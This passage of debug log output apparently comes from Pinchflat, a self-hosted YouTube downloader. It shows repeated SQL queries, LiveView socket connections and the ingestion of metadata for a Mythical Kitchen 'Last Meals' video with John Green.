s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:46:48.872 [debug] QUERY OK source="settings" db=0.0ms idle=0.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:46:48.872 [debug] QUERY OK source="settings" db=0.0ms idle=0.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:46:48.873 [debug] QUERY OK source="tasks" db=0.0ms idle=0.6ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 20:46:48.873 [debug] QUERY OK source="media_items" db=0.1ms idle=0.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" = ?) [1] 20:46:48.873 [debug] QUERY OK source="sources" db=0.2ms idle=0.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:46:48.873 [debug] QUERY OK source="media_items" db=0.0ms idle=1.4ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 20:46:48.874 [debug] QUERY OK source="media_items" db=0.0ms idle=1.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 20:46:48.874 [debug] QUERY OK source="media_items" db=0.0ms queue=0.1ms idle=1.3ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 20:46:48.875 [debug] QUERY OK source="media_items" db=0.2ms queue=0.1ms idle=1.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 20:46:48.875 [debug] QUERY OK source="sources" db=0.0ms idle=1.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:46:48.875 [info] Sent 200 in 4ms 20:46:48.974 [debug] Current batch of media processed. Will check again in 1000ms 20:46:49.042 [info] CONNECTED TO Phoenix.LiveView.Socket in 15µs Transport: :websocket Serializer: Phoenix.Socket.V2.JSONSerializer Parameters: %{"_csrf_token" => "PBEEFTELESoadmJCKA0fc2AAfV9ROjBfWvVv_nhFJER5pAp0RCJnfmF2", "_live_referer" => "undefined", "_mount_attempts" => "0", "_mounts" => "0", "_track_static" => %{"0" => "http://192.168.77.149:8945/assets/app-84c55c57753816656f5134f541d32ba5.css?vsn=d", "1" => "http://192.168.77.149:8945/assets/app-521b5c83d8b2f79295a25943104e99d5.js?vsn=d"}, "vsn" => "2.0.0"} 20:46:49.050 [debug] MOUNT Pinchflat.Pages.HistoryTableLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "kgRcneylP30wXLoC2C717Wvm", "media_state" => "downloaded"} 20:46:49.051 [debug] QUERY OK source="media_items" db=0.1ms idle=176.7ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 20:46:49.051 [debug] QUERY OK source="media_items" db=0.1ms idle=176.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 20:46:49.051 [debug] Replied in 467µs 20:46:49.051 [debug] MOUNT Pinchflat.Pages.HistoryTableLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "kgRcneylP30wXLoC2C717Wvm", "media_state" => "pending"} 20:46:49.051 [debug] QUERY OK source="media_items" db=0.0ms idle=176.5ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 20:46:49.051 [debug] QUERY OK source="media_items" db=0.2ms idle=176.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 20:46:49.052 [debug] QUERY OK source="sources" db=0.0ms idle=99.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:46:49.052 [debug] Replied in 616µs 20:46:49.052 [debug] MOUNT Pinchflat.Pages.JobTableLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "kgRcneylP30wXLoC2C717Wvm"} 20:46:49.052 [debug] QUERY OK source="tasks" db=0.1ms idle=1.6ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 20:46:49.053 [debug] QUERY OK source="media_items" db=0.0ms idle=1.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" = ?) [1] 20:46:49.053 [debug] QUERY OK source="sources" db=0.1ms idle=1.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:46:49.053 [debug] Replied in 759µs 20:46:49.054 [debug] MOUNT Pinchflat.UpgradeButtonLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "kgRcneylP30wXLoC2C717Wvm"} 20:46:49.054 [debug] Replied in 52µs 20:46:49.975 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Today, John Green eats his last meal.\n\nWant more Mythical Kitchen? Check out these playlists:\nLast Meals - https://www.youtube.com/playlist?list=PLW8XZTagL0oLPu4rowq_WOqg6nJ_oToRN\nFood Battles - https://www.youtube.com/playlist?list=PLW8XZTagL0oKvNweUd0NzXBTUgmVDXbTe\nMeals of History - https://www.youtube.com/playlist?list=PLW8XZTagL0oJzDtzkhoE_KeH_macdrpHJ\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nCHAPTERS\n0:00 John's Last Meal\n0:25 You Take Boxing\n2:09 Both Green Brothers? In This Economy?\n2:45 How Often Do You Think About Death?\n3:51 Finding Love Through Boxing\n4:45 1st Course\n5:10 Getting Hot Sauce Through Security\n6:26 The Colors Of Falling In Love \n7:22 Adulthood Is Like A Zombie Virus\n9:23 My Subconcious Cries Out For A Sacrifice\n10:37 Stop Doom Scrolling & Start Tree-Hoping\n11:58 Everything Is Tuberculosis\n13:11 Tuberculosis Is Curable\n15:08 2nd Course\n15:53 Feeling 22\n17:40 How Is This Related To Tuberculosis?\n20:04 Meeting Henry\n22:46 3rd Course\n23:56 Trenchcoat Armor\n25:16 Adults Who Don't Give Up On You\n26:19 Faith, Community, & Third Spaces\n29:04 Your Pain Is Real\n31:19 AI Slop\n33:37 4th Course\n34:55 Last Meals Is REAL\n35:47 What's The Meaning Of Life?\n38:19 I Wish I Was A Better Chaplain\n39:24 What Do You Think Happens When You Die?\n40:11 Lightning Round\n44:25 John's Last Words\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen \n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nJoin the Mythical Society: https://www.mythicalsociety.com \n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev", "duration" => 2741, "filename" => "/downloads/Last Meals/2025-06-10 John Green Eats His Last Meal/John Green Eats His Last Meal [lTEhBL7CetU].mp4", "id" => "lTEhBL7CetU", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=lTEhBL7CetU", "playlist_index" => 2, "timestamp" => 1749549673, "title" => "John Green Eats His Last Meal", "upload_date" => "20250610"} 20:46:49.976 [debug] QUERY OK source="sources" db=0.1ms idle=923.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:46:49.976 [debug] QUERY OK source="sources" db=0.0ms idle=923.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:46:49.976 [debug] QUERY OK source="media_items" db=0.0ms idle=923.3ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-06-10 10:01:13Z], 1] 20:46:49.977 [debug] QUERY OK source="media_items" db=0.6ms idle=923.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","original_url","prevent_download","media_id","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "original_url" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, John Green eats his last meal.\n\nWant more Mythical Kitchen? Check out these playlists:\nLast Meals - https://www.youtube.com/playlist?list=PLW8XZTagL0oLPu4rowq_WOqg6nJ_oToRN\nFood Battles - https://www.youtube.com/playlist?list=PLW8XZTagL0oKvNweUd0NzXBTUgmVDXbTe\nMeals of History - https://www.youtube.com/playlist?list=PLW8XZTagL0oJzDtzkhoE_KeH_macdrpHJ\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nCHAPTERS\n0:00 John's Last Meal\n0:25 You Take Boxing\n2:09 Both Green Brothers? In This Economy?\n2:45 How Often Do You Think About Death?\n3:51 Finding Love Through Boxing\n4:45 1st Course\n5:10 Getting Hot Sauce Through Security\n6:26 The Colors Of Falling In Love \n7:22 Adulthood Is Like A Zombie Virus\n9:23 My Subconcious Cries Out For A Sacrifice\n10:37 Stop Doom Scrolling & Start Tree-Hoping\n11:58 Everything Is Tuberculosis\n13:11 Tuberculosis Is Curable\n15:08 2nd Course\n15:53 Feeling 22\n17:40 How Is This Related To Tuberculosis?\n20:04 Meeting Henry\n22:46 3rd Course\n23:56 Trenchcoat Armor\n25:16 Adults Who Don't Give Up On You\n26:19 Faith, Community, & Third Spaces\n29:04 Your Pain Is Real\n31:19 AI Slop\n33:37 4th Course\n34:55 Last Meals Is REAL\n35:47 What's The Meaning Of Life?\n38:19 I Wish I Was A Better Chaplain\n39:24 What Do You Think Happens When You Die?\n40:11 Lightning Round\n44:25 John's Last Words\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen \n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nJoin the Mythical Society: https://www.mythicalsociety.com \n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev", "John Green Eats His Last Meal", "7c36a3c5-c9dc-435c-88a2-ef1f6c4dd00c", "https://www.youtube.com/watch?v=lTEhBL7CetU", false, "lTEhBL7CetU", 2741, false, 2, "/downloads/Last Meals/2025-06-10 John Green Eats His Last Meal/John Green Eats His Last Meal [lTEhBL7CetU].mp4", false, false, 1, [], 0, ~U[2025-06-10 10:01:13Z], ~U[2026-03-28 00:46:49Z], ~U[2026-03-28 00:46:49Z], "Today, John Green eats his last meal.\n\nWant more Mythical Kitchen? Check out these playlists:\nLast Meals - https://www.youtube.com/playlist?list=PLW8XZTagL0oLPu4rowq_WOqg6nJ_oToRN\nFood Battles - https://www.youtube.com/playlist?list=PLW8XZTagL0oKvNweUd0NzXBTUgmVDXbTe\nMeals of History - https://www.youtube.com/playlist?list=PLW8XZTagL0oJzDtzkhoE_KeH_macdrpHJ\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nCHAPTERS\n0:00 John's Last Meal\n0:25 You Take Boxing\n2:09 Both Green Brothers? In This Economy?\n2:45 How Often Do You Think About Death?\n3:51 Finding Love Through Boxing\n4:45 1st Course\n5:10 Getting Hot Sauce Through Security\n6:26 The Colors Of Falling In Love \n7:22 Adulthood Is Like A Zombie Virus\n9:23 My Subconcious Cries Out For A Sacrifice\n10:37 Stop Doom Scrolling & Start Tree-Hoping\n11:58 Everything Is Tuberculosis\n13:11 Tuberculosis Is Curable\n15:08 2nd Course\n15:53 Feeling 22\n17:40 How Is This Related To Tuberculosis?\n20:04 Meeting Henry\n22:46 3rd Course\n23:56 Trenchcoat Armor\n25:16 Adults Who Don't Give Up On You\n26:19 Faith, Community, & Third Spaces\n29:04 Your Pain Is Real\n31:19 AI Slop\n33:37 4th Course\n34:55 Last Meals Is REAL\n35:47 What's The Meaning Of Life?\n38:19 I Wish I Was A Better Chaplain\n39:24 What Do You Think Happens When You Die?\n40:11 Lightning Round\n44:25 John's Last Words\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen \n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nJoin the Mythical Society: https://www.mythicalsociety.com \n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev", "John Green Eats His Last Meal", "https://www.youtube.com/watch?v=lTEhBL7CetU", "lTEhBL7CetU", 2741, false, "/downloads/Last Meals/2025-06-10 John Green Eats His Last Meal/John Green Eats His Last Meal [lTEhBL7CetU].mp4", false, 1, ~U[2025-06-10 10:01:13Z]] 20:46:49.977 [debug] QUERY OK source="sources" db=0.0ms idle=23.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:46:49.977 [debug] QUERY OK source="media_profiles" db=0.0ms idle=1.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:46:49.978 [debug] QUERY OK source="media_items" db=0.0ms idle=1.6ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", 